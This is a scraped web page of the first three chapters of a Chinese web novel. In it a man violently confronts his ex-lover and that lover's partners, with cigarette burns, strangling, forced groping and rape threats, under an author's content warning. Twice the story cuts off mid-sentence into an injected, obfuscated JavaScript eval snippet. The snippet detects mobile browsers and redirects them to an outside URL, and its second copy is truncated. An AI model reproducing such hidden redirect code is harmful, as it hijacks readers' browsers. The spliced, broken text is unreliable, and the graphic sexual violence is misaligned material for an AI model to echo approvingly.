《假烟假酒真朋友》 1. 第 1 章 【充满雷点,首先请注意文内环境和角色塑造不代表作者三观。 1、两位主角之间存在身体暴力行为。 2、受会出轨。 3、攻受都不是好人。 4、开头为现在时,之后存在许多过去时。 5、架空现代,尤其在过去式的环境和角色中黄\赌\毒俱全,负面内容很多,不代表作者认同,不必较真。】 崔盛对着手机发过去一条语音:“你什么意思?” 消息石沉大海,等两小时后他下班走出写字楼,依旧没有回应。 往上推四个小时,白容生给他发消息:【崔盛,我们分手。】 那时崔盛正在会议室第一排扯皮,大脑疲惫不堪,心情如同天降狗屎,想拿起桌上的水壶把除自己以外的所有参会人都砸一遍,从而立刻下班。这时候,他拿起手机看见了白容生的消息。 诡异的是,白容生一条消息就令崔盛熄灭了满脑子的反社会暴力内容。他冷静地看完,把手机锁屏,反扣在桌面,继续听会。 白容生对他说分手?崔盛起初以为是自己的错觉,会间休息时他再三确认,懒得回复,就直接给白容生打电话,没有接通。 他已经不是会消息轰炸的年轻人了,一个电话没打通,直接发过去一条语音。 崔盛想直接起身离开,秘书惊骇地问他要去哪,他才反应过来,他作为老板,多少还是应该在谈判时候作为一个不可缺少的吉祥物。 白容生太会选时间,否则现在崔盛应该已经见到他了。鉴于两人的武力差别,白容生大概率不敢当面说要分手,所以手机通知完直接冷处理。 崔盛坐回去,冷笑一声。 这时,白容生回复他了。 【你还有东西留在我这里,明天我叫辆车送你那里去。】 崔盛看着消息,有点想吐。他扯开领带仰头平复了一下情绪,觉得自己能够控制住了,才告诉白容生:“白容生,你要还是个人,就跟我当面说清楚。” 过了会,白容生打过来语音通话。 他那边挺安静,应该在室内,声音冷淡:“我现在不在之前我们住的房子,你来也拿不了你的东西。” 哦,单方面做好决定,单方面通知。 崔盛坐进车里,盯着车子前面白容生送给他的陶瓷摆件笑了一下,说:“那些破烂不重要,你现在在哪?” 他语气平静到近乎温和,大概这给了白容生什么错觉,所以在短暂的沉默后如实回复他。 “望京路的这套房子,”白容生说,“你的车牌号没删,直接来吧。” 崔盛挂断电话踩下油门,有些想抽烟,为了驾驶安全忍住了。他手指敲着方向盘,卡着最高速度来到白容生位于望京路31号的房子。 这里的别墅区其实有些老了,曾经是江市最初那批富贵人家青睐的住所,包括白家的老房子也在这边。后面随着时代变化,这里已经不再是那些家族的主要人员居住的地方了。 但老房子毕竟有纪念意义,谁也不清楚,去年白老太太怎么做主将这里的房子登记到白容生名下。有的猜他这个私生子终于得到青眼,要和几位婚生子女争夺家产,也有的猜他到死也不可能和嫡子嫡女坐一张桌,这不过是家里对他的安慰礼物。 这些和崔盛关系不大。他停好车,边点烟边向大门走。指纹锁里还保留他的指纹,嗡一下打开,房子里很安静。 客厅的灯只开了一半,白容生的外套扔在椅子上,一半拖着地。崔盛弯腰捡起来,知道他在家,叫了声:“白容生?” 没有回应。 那就不在一楼。 崔盛都懒得换鞋,几步走上楼梯。走上二楼的时候,通过漆黑的走廊,他看见了卧室门,没关紧,敞开一条门缝。 卧室里亮着灯,足够他看见里面有两个人。 一个男人跪在地上,仰头看着他面前坐着的人,手搭在那人分开的大腿上,还去勾半解的腰带。 崔盛一秒钟反应过来里面即将进行的活动,再判断出白容生大概率是其中之一。他吸了口烟,直接伸手推开门。 白容生衬衫敞开领口,坐在床边左手夹着烟,右手按在跪着的男人的头上,目光懒散地垂着。崔盛推开门的时候,他抬起脸,露出点做作的惊讶样子。 只有跪着的男人好像真的被吓到了,惊慌地转头看着崔盛。 崔盛进来的时候不巧。 白容生也看着崔盛,脸上露出一个捉摸不清的笑容,手上用力,把男人的头按下去:“来这么快?我们还没开始呢。” 崔盛倚着门,彬彬有礼:“打扰你们了,还真是不好意思。劳驾让让,给我腾个地方呢?” 说着,他直起身步伐缓慢地走入卧室,目光下移,看见那个手还抓着白容生的小腿不放的男人。 白容生脸上缺乏感情的笑容无声消隐了,崔盛在他身前弯腰,拿走了他指间夹着的烟。 “烟不错。”崔盛评价,伸手扯起男人的头,反手将烟按在这人的脸上。 做出这个行为时他的神态依旧很放松,就跟顺手从地上捡起白容生的内裤一样随便。而白容生没有表情地注视着他,也没有看正在挣扎的男人。 在男人的痛喊声里,崔盛的手稳定如铁石,瞥了白容生一眼:“裤子穿好,我们聊聊。” 白容生手撑着床,目光平静地看着崔盛直接把那人从卧室拖了出去。他根本没管外面的动静,抽完烟才起身,单手随意地整理了一下衣服,扣上裤腰,另一只手摸出有些乱的桌上放着的一张写好的支票。 考虑到男人被崔盛烫了脸,他思考后摸出抽屉里不知道谁送的全新的手表,拿着出了卧室。 崔盛已经将人按在楼梯围栏那里,男人岌岌可危,还被掐得说不出话,嘶声胡乱蹬着腿。崔盛垂着眼,正打算把他扔到楼下去,白容生在他身后说:“放手。” 崔盛偏头看他,嘴角挑起一点,那张英俊到锋利的脸透出匪气:“我凭什么听你的?” “推下去你负责。”尽管崔盛动作上还没做出要把人推下去的意思,白容生已经预见他想做什么了,“你不是要找我谈谈?还是说改变主意,准备送他去医院?” 崔盛被他说服,松开手,对男人笑了笑。 男人逃得离他远了点,捂着脸惊惧颤抖。白容生将手一递,他慌乱地夺过支票和手表,踉跄着跑下楼,头也不回地出门了。 “你再晚出来一会,他今天至少要摔断一条腿。”崔盛转身说,“我还没和你确定分手,就花钱叫人上门?白容生,你是不是欠?” 白容生衣衫不整地站在那里,揉了揉乱糟糟的头发:“首先,搞清楚我们已经三个月没见面了,我还要为你守身如玉?其次,我跟你分手,用不着你同意吧。” 崔盛定定看了他一会,笑道:“哦,大少爷,真把我当你呼来喝去的狗?白容生,一个上不得台面的私生子,现在了不得了,跟我这种小混混搞,很拉低您的身价么?” 白容生手一顿,抬眼盯着他。随即,他温柔地说:“咦,崔盛,崔老板,我看你这不是很有自知之明吗?” 崔盛看着他这狼狈放荡的样子,懒得说话,直接走到他面前,抓住他的领子。和白容生争吵从来都是没用的,最好的办法就是直接动手。 “你给我……滚!” 白容生终于变了脸色。他外形条件十分的“白家”,身段匀称优雅,五官俊美的同时又很“克制”,是一种收着的好看,如同老电影男主角的黑白海报,令人看了一眼后忍不住再去盯他。 不过他好看的身高和身材全都是花架子,被崔盛拖进房间的时候,反抗十分有限。崔盛卡住他的脖子将他按回床上时,白容生挣出右手,结实地在他脸上抽了个耳光。 崔盛脸上很快红肿起来一块,他只在被扇的时候偏了下头,后面就跟这耳光不存在似的,抓过白容生的腰带,捆住了他的双手。 “白少爷,”捆住他后,崔盛自白容生身后压下,靠近他耳朵说,“白容生,你一个洗头房妓女生的孩子,和我摆什么谱呢?别乱动了,让你一巴掌是我念旧情,你不会真想跟我动手吧。” 见反抗不过,白容生额头抵着床单喘气。很久以前他跟崔盛打过一架,后面白容生就知道,尽量避免和崔盛的身体冲突。 不过他不愿意服软,笑了笑,慢条斯理地以占上风的姿态回答:“但是白家认了我这个姓,你可以去查我的户口,看看我的父母都是谁。” 崔盛:“这种东西,你觉得能骗过谁?别当我是傻子,你不是在追林家的那个儿子么,看起来是追到了,所以打算为了他舍弃你上不得台面的老情人?” 白容生:“真奇怪,崔盛,你什么时候是我的老情人了,我都不知道。” 崔盛的回答是把手从他长裤松垮的后腰伸进去,粗暴地直接用手指试了试:“看来我来的还算及时,你还没被他上过?” 白容生痛得一皱眉:“你他妈给我滚!” “不装少爷了?”崔盛把他翻过来,居高临下看他的脸,“我很累,白容生,不想跟你吵,把分手收回去。” “可以啊。”仰头眯着眼看他,白容生忽然笑了,“就是要委屈你,等我结婚后做小三了。如果林善水在家,你是不能进门的。” “是吗?”崔盛状似愁苦地叹气,随后说,“那我只好杀了他,再在你男人面前强\奸你了。” 白容生说:“你去死吧。” 崔盛低头靠近,目光一寸寸刮过他的脸。白容生没有退让,两人鼻尖几乎碰到一起时,崔盛说:“给我理由。敢说是因为你爱上他的话,我现在就把你上了。” “还用问吗?我会爱上他?”白容生不耐烦地说,“明知故问……我需要他的力量,我要拿到属于我的东西。” 崔盛:“白家给你的还不够?” “当然,”白容生说,“我需要更多,而且我可以拿到,为什么不去拿呢?钱这种东西,永远不会多。” 崔盛突然低头,嘴唇擦过他的脸就像一个吻,压低声音问:“不拿到会怎么样?值得你把自己卖了?” 白容生目光移到他脸上,灯光下,崔盛浅琥珀色的眼瞳冰冷且无动于衷,而白容生的眼睛漆黑得像一块墨玉。 “我不知道你是怎么得出,我把自己卖了这个结论的。”白容生清楚地说,“这是各取所需的交易,根据遗嘱,有些东西我必须在婚后才能得到。而且家里本来就更支持我跟男的结婚,免得把他们眼中的肮脏血统再传承下去……林善水是最好的对象了。崔盛,哥,总不能让我跟你结婚吧?” 崔盛冷笑:“怎么,我不配让你带进白家的门?” 白容生理所当然:“是啊,谁让你不姓林呢。” “拿到你要的遗产之后呢?” 崔盛竟然能心平气和讨论问题,白容生以为他总算能够和平沟通了:“当然是离婚了,到时候我和林善水就没关系,可以再回来找你。”那些钱都是你的。 崔盛:“哦,是吗?可惜我不要二手货。” 白容生脸上的表情瞬间融化一样消失得一干二净。他看了崔盛两秒,微笑道:“那真是不好意思,我跟林善水已经上过床了,你现在就在对着一个二手货发\情。” 崔盛也看着他:“你认真的?” 白容生:“我有骗你的必要吗?” 崔盛点了下头,忽然起身,顺便把白容生从床上拖下来。白容生踉跄几步,做好挨打的准备了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168924|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却发现崔盛在把他拖进浴室。 “你做什么?” “洗一下我的二手货。”崔盛语气平静,表情也很平静,回头看了白容生一眼,“喜欢冷水还是热水?” 白容生很了解他,知道崔盛这种样子是气疯了。他有点后悔自己为了吵架能赢口不择言,忘记了崔盛是头脾气上来能不管不顾的牲畜,虽然把崔盛气到哑口无言是很开心的事,不过他不打算为了这个赔上半条命在这里。 “我建议……你多思考一下。”白容生不大体面地抓住浴室门,手臂因为过于别扭产生痛楚,他咬着牙,“林善水今晚会来,应该马上到了,你总不是真想被他送进去蹲两天吧?” 崔盛:“是么,他也来?那可以,我不介意跟他一起用你,顺便问问他的使用心得。” 他掰开白容生本来就没多少力气的手,直接把他抱进去:“少爷,还没回答我,喜欢冷水还是热水。” 白容生确定他在发疯,愤怒道:“崔盛你闹什么?!我有好处,又少不了你的,省得你那破公司天天半死不活。崔老板,你还是更适合当混混,当老板太难为你了,账上的钱你理清了吗?” 崔盛:“哦,靠你给别的人睡来的钱开公司和还债?我崔盛还没有废物到这个地步吧。” 白容生:“行啊,那不给你,我花我自己睡来的钱,又怎么你了?” 他被崔盛扔到浴缸里,撞出闷响,肩、背都摔得一缩,手腕更是麻木了,但还是不肯露出吃痛示弱的样子:“崔盛!你以为现在还是以前吗?你有什么资格这样管我!” “我没说管你。”崔盛蹲下来,手稳稳托起白容生的脸,“我现在只是单纯收拾你。” 白容生喘着气瞪他,眉毛皱着,这时留在外面卧室的手机响了起来。 崔盛无动于衷,白容生说:“林善水真的要来!” “你叫他来做什么?”崔盛开始调水。这边的热水器他没用过,需要研究一下。 “和他商量财产分配并且敲定合同。”白容生冷冷地说,“我劝你放开我,在事情不可收场前,别逼我跟你彻底翻脸。” “那你让我去蹲监狱吧。”崔盛头也不抬,“□□男人能判几年?你可以舒服一段时间,再等我出来,毕竟,我又不是没进去过。” 他说完后,白容生却沉默了一会,表情变得有些奇特。崔盛手扶着热水的开关,侧身看他,白容生的眼睛低垂着,睫毛遮住瞳孔,看上去陡然间退了两步。 崔盛盯着他的脸,嗤笑着俯身,问他:“怎么了,觉得欠了我?” 嘴上这么说,他的右手却抬起,即将碰到白容生的头发时,外面有一个男人的声音隐约地叫道:“白容生?……睡了吗?” 白容生被这个声音惊醒了,猛然抬头望去,崔盛收回手,直起身。 “你把他的指纹也录进来了?”崔盛说,“动作很快啊,这就准备迎接人家进门了?” 白容生深吸一口气,缓慢坚定地重复:“放开我,崔盛,我们到此为止了。” 崔盛一言不发,他留下白容生,独自去推浴室的门。恰巧在这个时候,林善水的脚步停在浴室门外。 哗啦—— 门被一把推开,崔盛看见了手刚抬起来的林善水。 作为白容生精心挑选的对象,林善水自然外形出色,温文儒雅,只是年纪比白容生大得有点多,已经三十五岁。 看见一个陌生男人从白容生的浴室里走出来,林善水也只是微微挑眉,随后温和地笑笑:“哦,看来我来的有点不是时候,容生在里面吗?” 声音顺着门缝漏进去,白容生却不说话了。崔盛知道,他是不想丢脸才保持安静。 崔盛懒得回答他的问题,笑着问:“你就叫林善水?” 他的话里带着笑,透着让人放下警惕的热情和亲和力,搭配出挑的五官很具有欺骗性,伸出右手就递给林善水。林善水有些惊讶,近距离下,崔盛发现了他脸上一闪而过的轻蔑和鄙视。 怪不得,和白容生一样,是个自视甚高的伪君子,所以这对狗男男才能勾搭在一起。估计是把崔盛认成了刚刚被赶走的鸭子。 林善水迟疑了一下,才要勉强伸手,白容生已经忍无可忍,提高声音:“林哥,你别理他,进来帮我一下。” 林善水惊讶地“嗯?”了声,崔盛眯起眼,左手已经伸向旁边的石膏摆件。 可惜他和白容生都太了解对方,白容生就跟能透视看见他打算干什么一样,厉声喝道:“崔盛!你现在什么都不要做,给我滚出去!” 林善水已经意识到不对,一把推开崔盛冲进去。 白容生被崔盛留下没关的水浇了个彻底,幸好水还没那么热,否则他真的会被烫熟。浴缸已经积了一定高度的水,他整个人狼狈不堪地蜷缩在里面,被林善水走过去半跪下,从浴缸里捞起来。 “你怎么样,感觉还好吗?”林善水扶着他的后背,关切地询问,同时警觉地看向门口的崔盛,“这是什么人,想绑架你吗?容生,我这就报警……” “不用,”白容生制止住他,湿漉漉的脸上毫无波动,“崔盛,出去。” 最好的时机错过了,崔盛带着没能把林善水砸个头破血流的遗憾,举了举双手,转身离开。 直到走出这幢别墅,崔盛才低头骂了句脏话。 白容生已经表明了他的决心。 这种时候,崔盛本应该思考报复的方式,或者发泄怒火。但在那之前,他的思维不受控制地想起十年前北城区昏暗的老房子里,十六岁的白容生很怕他会半夜死掉,醒来无数次,小心翼翼地摸他的额头和呼吸。 那时候白容生对他说,哥,不管用什么方法,我们都不要再过这种日子了。 2. 第 2 章 白容生赤脚走过乱糟糟的卧室地面,在阳台点了根烟。 林善水在他对面,咬住烟示意。白容生将打火机轻轻抛过去,林善水吸了口才说:“不穿拖鞋,小心着凉。” 白容生:“你也把我想的太脆弱了。” 林善水点头:“忘了,年轻人,体质还是要好一点的。” 白容生笑道:“这是你自己说的,可不能怪我说你老了。” 他的调笑也收在适当的范围内,笑容浮于表面但又不至于敷衍,侧脸的线条俊秀流畅,目光向楼下看了看。 林善水:“先不笑话我,刚才那位,应该不是绑匪吧?” 白容生收回目光:“嗯……当然不是,是我哥。” 林善水显然是等着“前男友”之类的答案,对这个意料之外的回答挑了挑眉:“你哥?他不是姓崔么?” “表哥,观念比较传统。”白容生说,“听说我跟男人结婚,认为我是该去电击的精神病,喏,刚刚不是试图给我洗洗脑子吗?” 林善水不赞同地表示:“偏激到这种地步,他应该是心理疾病比较严重,还有暴力倾向……你不该让他进家门的,需不需要我帮你把他送进医院治疗一下?” 这个建议不知怎么,让白容生笑了下。他摆手说:“不用了,等之后,他应该会明白的……而且,我以前高中的时候,就是靠我哥养我才上完学的。” 礼貌让林善水不再追问。谁都知道白容生这个私生子的生母是街边上不得台面的妓女,白家十多年后才知道这个孩子的存在,而那之前,白容生已经做了很久的孤儿。 一个小孩子,独自在差劲的环境中长大,回忆必然是不美好的。林善水不愿意揭他伤疤,就将话题移到正事上来。 直到两年前,白家积威深重的掌权人一直是白丛山,也就是白容生的祖父。两年前白丛山急病去世,依据他生前留下的遗嘱,白家便交给他的妻子许静手中。 白丛山年轻时私生活并不干净,在外面陆陆续续有过几个情人,中年后才收心,这也让他有好几个儿女。不论是婚生还是私生子女,白丛山一概都在家中抚养。 他和许静的最后一个儿子白立才,因为是好不容易保下来的孩子,自小就被溺爱。大学时叛逆期还没过,瞒着家里退学跑去另一个城市,追寻一个搞摇滚乐队的梦想。 也就是在那里,住在破烂街区的白立才和一个年轻的洗头房的女人产生了感情。他借了高利贷帮助情人还债离开洗头房,绞尽脑汁想着怎么一鸣惊人,意外有了孩子,最后在孩子出生不久后因为穷困和恐怖的催债,进了赌场。 当有实无名的妻子抱着孩子在赌场外下跪哭求时,白立才好像突然从一场荒诞的梦境中醒来。他一言不发,带着妻子和孩子回了家,随后出门借了车票钱,回到白家,就当在那座城市的经历没有存在过。 他的妻子在几个月的等待后失去希望,她回到了洗头房再次做起生意。至于那个曾经是惊喜后面是累赘的孩子,奇迹般摇摇晃晃地长大了。 白立才只留给这个孩子一个名字:白容生。 白容生五岁的时候,他妈也死了,死之前整个人已经看不出人样。如果不是洗头房他妈那几个小姐妹善心大发给他一口饭吃,过几天他估计也要死在那个房子里。 直到白容生成年,白立才在死前交代了他当年还有个孩子。白丛山自然不愿意让最疼爱的小儿子的血脉留在外面,尽管介意这个孙子的出身,还是将白容生接了回来。 当然,白容生和绝大部分白家产业没有关系,但白丛山依旧为他留下了足够他舒服过一辈子的资金。只是其中相当一部分,需要他婚后才能拿到。 大概是怕白容生走上父亲的老路,白丛山专门要求,白容生必须和门当户对的正经人结婚,才能得到这笔钱。 至于白容生是同性恋这件事,除了白丛山本人有些不满外,几乎让整个白家都松了口气。 正因此,即使有白家这个光环,但林善水家里却明白白容生究竟是什么货色,对他颇为不满。毕竟林善水可是林家正儿八经的继承人之一,作风正派,只是拖到三十多岁还没结婚,但也不算大事。 要不是林善水喜欢,他们说什么都不会接受的。 白容生和林善水坐在桌子两边,架势就像正经谈判。桌上铺开一堆打印好的合同、表格,两人不像商量婚事,而是商量投资。 林家几个孩子之间关系差是出了名的,林善水还不能稳稳拿到继承人的资格。他的冒险需要一笔巨款,而白容生恰好愿意拿出婚后能够得到的那笔钱帮助他填上最后一个窟窿。 这个计划必须秘密进行,除了信得过的律师审阅,他们两人也必须字字推敲。白容生只看了一部分,就没多少精神,林善水看出他的疲态,善解人意地让他先去休息。 白容生也不勉强,起身后笑着弯腰问他:“你要睡我房间,还是去客房?” “当然去客房。”林善水说,“你心情很差,这种时候应该需要独处。” 白容生短暂地皱眉,下意识想反驳,但最后没说什么。 他确实很疲惫,不想去考虑和林善水真假参杂的试探,也不想去想崔盛的脸。可是他还是不可避免地回忆起他跟崔盛第一次见面。 十一年前。 C市治安差是出了名的,这是一座灰扑扑、犯罪率居高不下的北方城市,也是许多大混混小混混的梦中圣地,证道之城。在C市贫穷的北城区里,白容生这个妓女私生子的身份平平无奇,根本都不值得谁多看一眼。 他也不觉得自己有哪里特殊,从学校早早溜出来后,吊儿郎当地拎着张着一条口子的二手帆布包,差点把里面的课本抛出去。 他熟门熟路地绕进这片老街区,穿过堪比迷宫的巷子,停在“芳芳洗头房”外面。现在不过下午四点,没到营业时间,洗头房的灯牌无精打采垂着,艳粉色招牌掉色不少,显得有点荒凉。 “琴琴姐?”白容生推开没上锁的推拉门,头也不抬向里面喊,“我把包放柜台下面了……” 话没说完,白容生敏锐地觉得不对,忙一抬头,和洗头房狭窄昏暗、勉强能够称之为大厅里站满一圈的人脸对脸。 这些人年龄不一,穿着打扮生动诠释何为“牛鬼蛇神”,带着如假包换的本市混混气息,簇拥着最中间坐在掉色沙发上的男人。 他们都沉默瞪着白容生这个莽撞的小孩,方琴本来坐在中央那个男人旁边,此刻第一时间反应过来,甩下脸:“又逃课?天天不让人省心,没看见有事?滚出去,晚上去你网吧那凑合一下得了。” 方琴语速很快,声音清脆,夹了几个本地方言的脏话。白容生被她骂习惯了,一缩脖子,转个方向就退了出去。 他发育比同龄人晚,十五岁马上中考,看着还像是刚上初中的小孩,瘦瘦弱弱的。那些混混并不把他这种“小鸡仔”一样的小孩放在眼里,男人还问,这是谁的孩子。 方琴:“哎呀,他妈都死多少年了,我们就当是共同的儿子给养了,这不图个以后有人给收尸吗?” “哈哈,不知道的还以为你们这孤儿院呢,这小婊子养的长得还挺俊。” “女人堆里养的孩子哪有不俊的……” 声音听不见了,白容生背着包朝网吧走去,顺便踢飞了路边一块石头,心里学了两句方琴的脏话。 他不是平白无故逃学,说好了去陈涛的台球厅帮忙看场子,顺便蹭个晚饭。手里的钱再攒一攒,考试费和考试期间的钱都够了。 现在已经四月,六月底中考,尽管白容生对自己能上高中很有自信,但他也没用自大到不好好复习的地步。 五月后他就没有时间出来打工和鬼混了。考试那几天他更不打算住洗头房,否则听那些男男女女鬼叫一晚上,他第二天交白卷算了。 那么出去住像个样子的宾馆要钱、中间吃饭和坐车也要钱,样样都要钱。 洗头房的几个“姐姐”并没有让他读高中的意识,事实上她们连白容生今年几年级都不知道。送去学校纯粹是让白容生认识几个字,从小到大,白容生的试卷都是自己签的字。 他妈只有小名,白容生只得签他亲妈曾经每天咒骂的,他那个失踪的亲爹的大名——白立才。 白容生分得很清,洗头房给他吃住,帮他交过几次学费已经是莫大的恩情,毕竟自己跟她们没有半点血缘关系。他也不小了,上学的钱最好还是自己赚。 石头精准地飞进了黑漆漆的巷口,好像砸中了人,传出一声闷哼。白容生立刻回神,抱紧书包就想跑,冲出两步没发现有人追出来,又犹豫着停下。 路边有伤患或者死人并不算什么大事,更常见的是倒在路边的醉鬼。白容生凭借稀薄的良心,还是走回去看了眼。 散发着不怎么样的潮湿气味的短巷子里遍布青苔,光线昏暗,一开始只能看见一个模糊的人形轮廓。 等白容生走近后,才看清那是个人缩着身体,靠着墙坐在那里。 并且,一股血腥气也跟着涌入他的鼻腔。 说实话,白容生不是很想多管闲事。 他叹了口气,心说如果只是醉鬼,他还愿意帮忙拖去不远处的黑诊所——被坑钱就怪这人自己。可是这人明显受伤不轻,很可能还是被刀捅的,他不愿意惹麻烦。 然而就在白容生后退的时候,脚下踩到一个硬物,“咔擦”一声脆响。他把这个人的手表踩碎了。 站在原地,白容生和良心斗争了几秒,终于决定就当作是对手表的补偿。他快步走回那家黑心诊所,借了推车,把昏迷的男人推了过去。 即将考试,尽管白容生完全不迷信,还是觉得尽量做个好人,或许能换来一点好运。 黑心诊所和洗头房是多年邻居,里面的两个无照行医的大夫也跟白容生熟得很。这里的诊所处理起这些伤驾轻就熟,至于账,暂且挂在洗头房名下。 白容生把伤者扔下,急急忙忙去台球厅。 陈涛二十岁,这家台球厅是他家的产业,现在他算个二老板。由于他爸是洗头房常客,并且在陈涛成年后,他也子承父业,既管台球厅还去洗头房,和白容生经常见面,关系不错。 “迟到了啊。”陈涛敞穿着皮夹克,在门口抽烟,看起来最近赚了不少,“扣不扣钱,你说?” 白容生双手合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听见声音,那人转过来,意外长得很不错。长眉,眼眶略深,即使没完全长开也能看出很英俊的底子。就是太有锐气,盯着白容生时有种掩盖不住的侵略性。 他看上去像个高中生,身上的肌肉线条已经很结实,还有不少或深或浅的伤疤。 白容生警惕地停住,这人主动起身走向他,步伐缓慢,伸出右手:“是你把我送过来的?谢谢你。” 白容生和他握了下手,那人没放开,握着他认真地说:“我叫崔盛,我欠你一命。之后你有什么事,都可以叫我。” 似乎并没有外表那样凶狠。 “……白容生,容易的容,死生的生。”白容生说,“欠命什么的就不必了,其实是我不小心把你的手表踩坏了,这个就当是我的赔偿吧,你要钱我是没有的。” “什么?”崔盛看起来很迷惑,“我没有手表啊。” 白容生:“……?” 搞错了。他面无表情地感到些许窘迫,但崔盛主动对他笑了笑:“这样的话更是我欠你了。对了,你多大,小学毕业没?” 白容生:“我今年初三,马上中考。” “噢,没看出来……还要中考,好学生啊。” 白容生忍不住提醒他:“不中考的话,就拿不到毕业证。” 崔盛满脸无所谓:“我就没考,又怎么样?” 白容生冷漠地说:“不怎么样,就是你以后都是小学学历。” 崔盛先是愣了愣,随后笑了两声:“谁在意这个。对了,记一下我手机号,你有手机没?” 白容生还真有。洗头房的某位客人在爽完后,看见他,因为心情好,就把自己没用多久的手机给他了。 那时候C市连翻盖手机都不多,大部分手机都是普通款式的按键手机,这样一个普通手机,是白容生珍稀的个人财产。 白容生把崔盛的号码保存,看着崔盛披上外套,回头叮嘱他:“我先走了,别跟任何人说我来过这里,有事随时叫我。” 白容生仰脸看他,由于长得还很瘦小,显得一双漆黑的眼睛更大,双眼皮很漂亮,皮肤白净,甚至有点像女孩。他对着崔盛点点头,崔盛对他一笑,伸手摸了摸他的发顶,悄无声息从后门离开了。 等白容生回洗头房,趴在柜台后默默背书时,听见方琴和雁红抱怨:“真晦气,他妈的这次轮到叉子来收保护费了,这死不要脸的,收那么高还想白嫖,老娘真是日了他老舅了!” C市每个洗头房都是有归属的,只是北城区最乱。一个老大风光两三年,之后可能就被手下或者外来的混混杀了,再换人坐那把交椅。 因此,芳芳洗头房坚持那么多年,全靠方琴手段灵活,很有眼色,知道该讨好谁。 叉子是这片新上任的龙头,也就是那天白容生闯进来时坐在中间的男人。据说他很喜欢雁红,包了她几个月,但是保护费并没有因此少收。 白容生正背着单词,思路中断了。他现在听见钱的字眼就头疼,高中学费要一口气掏几千块,白容生又没有天才到能在一团糟乱的环境和稀少的时间里学到本市前十,根本拿不到免学费的奖励。 他趴在面前高一点的椅子上,两眼发直。 3. 第 3 章 “哎,容生,过来。” 白容生在去台球厅的路口提前被陈涛拦住了。他有些惊讶,发现陈涛的表情很严肃。 “今天给你放个假。”陈涛手搭在他肩膀上,低头说,“回去吧,工资照开。” 白容生觉出不对劲,往他身后看了看,正看见一张椅子从台球厅的大门被扔了出来。 “怎么了?有人闹事?” 陈涛:“叉子和虎哥抢地盘呢,在这边直接动手,还能怎么办。”他苦笑一下,“我这个说到底嘛,还是个给人交保护费的小店。” 陈涛蹲在路边抽烟,白容生低头看他,听他说:“小白啊,等你读完大学来跟我干,我们把台球厅做大,以后只有我们收人家保护费,没有别人收我们的。” 白容生几乎立刻想告诉他这是不可能的。尽管他自己就生长在一个黄赌毒俱全的环境,但随着长大,白容生不可抑制地对周围环境产生了厌恶。 他不喜欢这里,可能一辈子都适应不了。所以他唯一的选择就是读书,去别的城市上学,然后再也不回来。 但他没傻到这样和陈涛说,而是道:“涛哥,我还不知道能不能上高中呢。” “你肯定能上,你看着就是读书的料!”陈涛比他还有信心,“早就想跟你说了,别来我这里干活了,去安心准备考试。到时候上高中钱不够,哥给你掏,你考上大学,大学我都能供你。” 如果这样的话,他就欠陈涛太多了,而且还要赔上更多来还这份恩情。 白容生在某些事上心非常硬,他是认真地看不起这里的大部分人,同时坚定地要离开。哪怕现在能不能读高中还是不确定的事,但他自信他以后绝对不止在一家台球厅帮忙。 “涛哥,这个绝对不行。我就是不上学,也不能欠你的钱。” 陈涛还想说什么,白容生对他摇摇头,拎着包走了。 晚上白容生缩在洗头房二楼杂物间改成的小房间里,他借着房间里小灯泡的光数自己手里的积蓄,够他考试,但是有些紧巴巴的。 他又拿出手机,这个手机他用得很珍惜,没怎么损坏,不知道拿去二手商城能卖多少。 杂物间只有一扇高高的窄窄的小窗户,窗玻璃很脏,蒙蒙地看不清外面。白容生看着窗户,意识到他如果想爬出去,要费的工夫很多。 但是不到迫不得已,他不想卖手机。这个手机对他来说是天降横财,他拉不下脸找方琴姐要钱买手机,虽然他知道她们出得起钱。 台球厅不好再去了,应该离陈涛远一点。 白容生发愁归发愁,考试的日子就在那里,他躲不开,在发愁外还是得加紧学习。 学校师资差纪律差,学习氛围约等于没有。白容生在校内都算好学生,但是成绩排名放在全市,确实不是很够看。 班里唯一和他有点共同语言的是黎敏,跟白容生不同,她家里都是普通工人,父母和睦。白容生知道她要考一中,某种程度上很羡慕黎敏。 她可以理所当然地享受家庭的付出,没有后顾之忧。 黎敏和白容生每周五都能享受学校给少数学生加开的晚课。黎敏家离洗头房不远,白容生通常都会和她一起回去,十五六岁的女孩子,晚上在北城区已经不安全了。 “我打算搬家了。”半路上,黎敏细声细气地和白容生说,“这边环境越来越差,尤其是那个新来的大混混,你听说了吗?他掏了大宏的肠子挂在大宏最常去的舞厅的门口,太恶心了……我爸妈总算攒够钱,可以离开北城了。” 大宏是这里的上一位龙头,叉子的挑战对象。白容生只知道大宏死得很惨,没想到这么惨。 白容生诚心诚意地恭喜她。黎敏看了他一会,又说:“新家那边有个小阁楼,你不介意的话,可以住我家,我妈说你每月给个饭钱就行,哪能一直住在洗头房呢。” 说到后面,她有点不好意思,声音低但清晰,清澈的眼睛看着白容生。白容生难得生出了窘迫,慌张地乱看,苦笑着拒绝她。 黎敏有点伤心,但没再劝。这里每个人都有自己的命运,她能顾好自身已经很不容易了,没有余裕去帮助他人。 她还在想事,身边的白容生就忽然停下,紧接着一把拽过她的手,急匆匆道:“过来!” 这是一个分岔路口,本来他们应该向前直走,但白容生带着黎敏快步沿着另一个方向去。 “怎、怎么了?” “有人。”白容生简单地说,“别回头,他们看上去要打架。” 一般这种时候,远远避开的路人是不会被波及的,他们都很习惯C市的生存哲学。可是后面传来一声钢管砸地的巨响,有人大叫“跑什么?过来!” 黎敏有些慌了,她没来得及回头,就被白容生从身后一推:“别看,跑!” 